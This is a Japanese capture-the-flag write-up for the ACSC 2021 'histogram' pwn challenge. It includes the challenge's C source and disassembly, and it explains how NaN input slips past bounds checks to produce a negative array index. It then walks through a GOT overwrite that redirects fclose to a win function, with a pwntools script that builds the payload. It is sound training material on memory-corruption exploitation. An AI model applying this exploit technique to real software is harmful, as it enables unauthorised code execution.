Asian Cyber Security Challenge - histogram
TL;DR
- 数値に対するバリデーションが硬いが、NaNを入れるとバリデーションを突破出来る
- これであるグローバル配列の負のインデックスに対する書き込み(インクリメント)が出来る
- グローバル配列の真上にあるGOTを所望の数だけインクリメントしてフラグ開示を行う関数のアドレスに書き換える
Prerequisite
- NaNの仕様
- GOT Overwrite
Writeup
次のコードとそれをコンパイルしたバイナリ、それをsubprocessとして動かすFlaskのコードが与えられる。
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <limits.h>
#define WEIGHT_MAX 600 // kg
#define HEIGHT_MAX 300 // cm
#define WEIGHT_STRIDE 10
#define HEIGHT_STRIDE 10
#define WSIZE (WEIGHT_MAX/WEIGHT_STRIDE)
#define HSIZE (HEIGHT_MAX/HEIGHT_STRIDE)
int map[WSIZE][HSIZE] = {0};
int wsum[WSIZE] = {0};
int hsum[HSIZE] = {0};
/* Fatal error */
void fatal(const char *msg) {
printf("{\"status\":\"error\",\"reason\":\"%s\"}", msg);
exit(1);
}
/* Call this function to get the flag! */
void win(void) {
char flag[0x100];
FILE *fp = fopen("flag.txt", "r");
int n = fread(flag, 1, sizeof(flag), fp);
printf("%s", flag);
exit(0);
}
int read_data(FILE *fp) {
/* Read data */
double weight, height;
int n = fscanf(fp, "%lf,%lf", &weight, &height);
if (n == -1)
return 1; /* End of data */
else if (n != 2)
fatal("Invalid input");
/* Validate input */
if (weight < 1.0 || weight >= WEIGHT_MAX)
fatal("Invalid weight");
if (height < 1.0 || height >= HEIGHT_MAX)
fatal("Invalid height");
/* Store to map */
short i, j;
i = (short)ceil(weight / WEIGHT_STRIDE) - 1;
j = (short)ceil(height / HEIGHT_STRIDE) - 1;
map[i][j]++;
wsum[i]++;
hsum[j]++;
return 0;
}
/* Print an array in JSON format */
void json_print_array(int *arr, short n) {
putchar('[');
for (short i = 0; i < n; i++) {
printf("%d", arr[i]);
if (i != n-1) putchar(',');
}
putchar(']');
}
int main(int argc, char **argv) {
if (argc < 2)
fatal("No input file");
/* Open CSV */
FILE *fp = fopen(argv[1], "r");
if (fp == NULL)
fatal("Cannot open the file");
/* Read data from the file */
int n = 0;
while (read_data(fp) == 0)
if (++n > SHRT_MAX)
fatal("Too many input");
/* Show result */
printf("{\"status\":\"success\",\"result\":{\"wsum\":");
json_print_array(wsum, WSIZE);
printf(",\"hsum\":");
json_print_array(hsum, HSIZE);
printf(",\"map\":[");
for (short i = 0; i < WSIZE; i++) {
json_print_array(map[i], HSIZE);
if (i != WSIZE-1) putchar(',');
}
printf("]}}");
fclose(fp);
return 0;
}
元の問題は、これをSubprocessで動かしているWebアプリケーションに対するPwnであるが、ここでは簡単のため、バイナリのwin関数を呼んでフラグを開示出来たら勝ちとする。
バイナリの大まかな動きは次の通りである。
- CSVファイルを引数にとって1行ずつ読み込んで次の操作をする
- カンマ区切りで2つの値を取り出す
- ヒストグラムを作成するために10刻みの値で配列に度数を格納する、また2次元分布作成の為に同じようなことを2次元配列でも行う
- 作られた配列をJSONに変換して出力する
入力で関与出来る書き込み箇所は次である。
map[i][j]++;
wsum[i]++;
hsum[j]++;
これらはグローバル変数であり、.bssセクションに存在している。アドレスの小さい順にmap, wsum, hsum
の順で存在している。
真っ先に思いつくのはここに異常な値を入れて重要な値を書き換えることだが、残念ながら次のような厳重なチェックが存在している。
/* Validate input */
if (weight < 1.0 || weight >= WEIGHT_MAX)
fatal("Invalid weight");
if (height < 1.0 || height >= HEIGHT_MAX)
fatal("Invalid height");
WEIGHT_MAX
やHEIGHT_MAX
の設定が完璧なので数値を大きくする事は難しい、もちろん小さくする方も同様であり、負の数を入れてmap
より上に存在する領域に書き込むのも難しそうである。
したがって、数値「以外」の何かを入れる方法を考える。浮動小数点の仕様を定めているIEEE 754のWikipedia記事を眺めると次のような実数では無いものが目に入る。
- +∞と−∞。
- 2種類の非数 (NaN)。
無限大の方はおそらく先程の方のチェックに引っかかってしまうのでNaN
を試してみる。NaN,NaN
を含むCSVファイルを渡して実行すると次のような結果になった。
$ ./histogram.bin sample.csv
fish: './histogram.bin sample.csv' terminated by signal SIGSEGV (Address boundary error)
開発者を悩ませるSIGSEGVだが、Pwnをする上ではだいたい領域外書き込みをしているのでかなり嬉しいことである。更に嬉しいのは処理の順序的にNaN
が先程のバリデーションを突破したことである1。
ではここで何が起こっているのかを確かめるためにディスアセンブル結果を見てみると次のようになっていた2。
004013bf e8 7c fd CALL ceil double ceil(double __x)
004013c4 f2 0f 2c c0 CVTTSD2SI EAX,XMM0
004013c8 83 e8 01 SUB EAX,0x1
004013cb 66 89 45 e0 MOV word ptr [RBP + local_28],AX
004013cf f2 0f 10 MOVSD XMM0,qword ptr [RBP + local_18]
004013d4 f2 0f 10 MOVSD XMM1,qword ptr [DAT_004020f8] = 4024000000000000h
004013dc f2 0f 5e c1 DIVSD XMM0,XMM1
004013e0 e8 5b fd CALL ceil double ceil(double __x)
004013e5 f2 0f 2c c0 CVTTSD2SI EAX,XMM0
004013e9 83 e8 01 SUB EAX,0x1
short
へのキャストは一旦int
へキャストして、その下位バイトをとっている。そしてint
へのキャストはCVTTSD2SI
という命令で行われているようである。参考文献に載せたサイトによればこんなことが書いてある。
If a converted result exceeds the range limits of signed doubleword integer (in non-64-bit modes or 64-bit mode with REX.W/VEX.W/EVEX.W=0), the floating-point invalid exception is raised, and if this exception is masked, the indefinite integer value (80000000H) is returned.
「例外を捕捉したら0x80000000を返す」と書いてあるがNaNではこれが発生しそうである。そしてそれが発生した場合はこの値が返り、これはshortにキャストすると0になる。よってその後のデクリメントによって-1になると考えられる。
実際に0x4013cbにブレークポイントをおいて、gdbでaxの値を覗いてみると次のようになった。
pwndbg> p/x $ax
$4 = 0xffff
pwndbg> p $ax
$5 = -1
pwndbg>
というわけで、ソースコードでいうとこのi
とj
には-1であれば負の数を入れることが可能になる。これによってmap[-1][j]++
による書き込みが発生し、map
より上のアドレスに入っている値をインクリメントすることが出来る。
問題はどこをインクリメントするかであるが、map
がグローバル変数が置かれる.bssセクションにあり、その上を見ると都合の良い事に.got.pltセクションが存在している(以下、面倒なのでGOTとする)。ここはライブラリ関数に対して、アドレス解決していればlibc内のアドレスが入っているが、そうでなければアドレス解決をするための処理を行うアドレスが入っており、ここでは0x401020付近になる。
ソースコードを読むと未だに使われておらず、かつ通常の処理であれば呼ばれそうな関数としてfclose
があるためfclose
のGOTに入っている値をインクリメントしてwin
のアドレスに書き換えられないかを考える。
運が良い事にfclose
のアドレス解決を行うアドレスは0x401060なのに対して、win
のアドレスは0x401268である。よってこの差分(0x208)だけインクリメントすれば次にfclose
が呼ばれた時にwin
が呼ばれることになる。
最後の問題はmap[-1][j]
でfclose
のGOTを書き換えるためのj
はなんなのかということである。こういう時はソースコードを読むよりGhidraの方が具体的な数値にしてくれるのでわかりやすく、次のようになっている。
*(int *)(map + ((long)(int)sVar1 * 0x1e + (long)(int)sVar2) * 4) =
*(int *)(map + ((long)(int)sVar1 * 0x1e + (long)(int)sVar2) * 4) + 1;
sVar1
とsVar2
はそれぞれi,j
に対応する。
sVar1
にはNaNを入れたことによって-1が入るので実際はmap
のアドレスから(-0x1e + sVar2) * 4
だけ離れた場所に書き込みが行われる。map
とfclose
のGOT間の距離はローカルで求められるのでそれがこの値となるようにsVar2
を計算し、更にそれになるCSVの値を調整すれば良い。ハードコーディングすると間違えた時に面倒くさそうなので下記コードに全部やらせた。
するとNaN,30
によって、fclose
のGOTがインクリメントされることがわかるのでこれを0x208行並べたCSVを読ませれば良い。実際に実行してみると次のようになる。
$ ./histogram.bin payload.csv
{"status":"success","result": <snipped> 0,520]]}}DUMMY{The flag exists in the working directory of histogram.bin}
無事に末尾にダミーのフラグが生えていることがわかる。
Code
CSVの生成コードのみ
from pwn import process, ELF
def dump_dict_by_hex(d):
for k, v in d.items():
print(f"{k}: {hex(v)}")
elf = ELF("./histogram.bin")
addrs = {
"win": elf.functions.win.address,
"plt_fclose": 0x401060, # change this value to `win` by increments
"got_fclose": elf.got.fclose, # target to write
"map":elf.symbols.map
}
# NaN, local_18
# sVar2 = (local_18 / 10) - 1
# write to: (map + ((long)(int)sVar1 * 0x1e + (long)(int)sVar2) * 4)
# write to: map + (-1 * 0x1e + sVar2) * 4
# map - got_fclose = 4 * (0x1e - sVar2)
# offset = 4 * (0x1e - sVar2)
# sVar2 = 0x1e - diff // 4
offset = addrs["map"] - addrs["got_fclose"]
sVar2 = 0x1e - offset // 4
local_18 = (sVar2 + 1) * 10
diff = addrs["win"] - addrs["plt_fclose"]
payload = f"NaN,{local_18}\n" * diff
with open("./payload.csv", "w") as f:
f.write(payload)
Flag
ローカルでやっただけなので無し
Resources
- acsc-challenges-2021-public/pwn/histogram/distfiles at main · acsc-org/acsc-challenges-2021-public: 問題ファイル
- 754-2008 - IEEE Standard for Floating-Point Arithmetic | IEEE Standard | IEEE Xplore: 浮動小数点の規格を決めているIEEE 754
- CVTTSD2SI — Convert with Truncation Scalar Double-Precision Floating-Point Value to Signed Integer: intへキャストする際の命令の仕様
- Asian Cyber Security Challenge (ACSC) write-up - Qiita: kusano_kさんのWriteup、NaNの計算やキャストに対する挙動が書いてある
おそらくNaNとの比較が常にFalseになるんだと思う
解き直しにおいては競技をしている時よりあらゆるリソースに余裕があるので仕様や命令レベルで調査と検証をしているが、おそらくgdbで値を覗いたり軽くC言語のコードを書いて検証した方が早い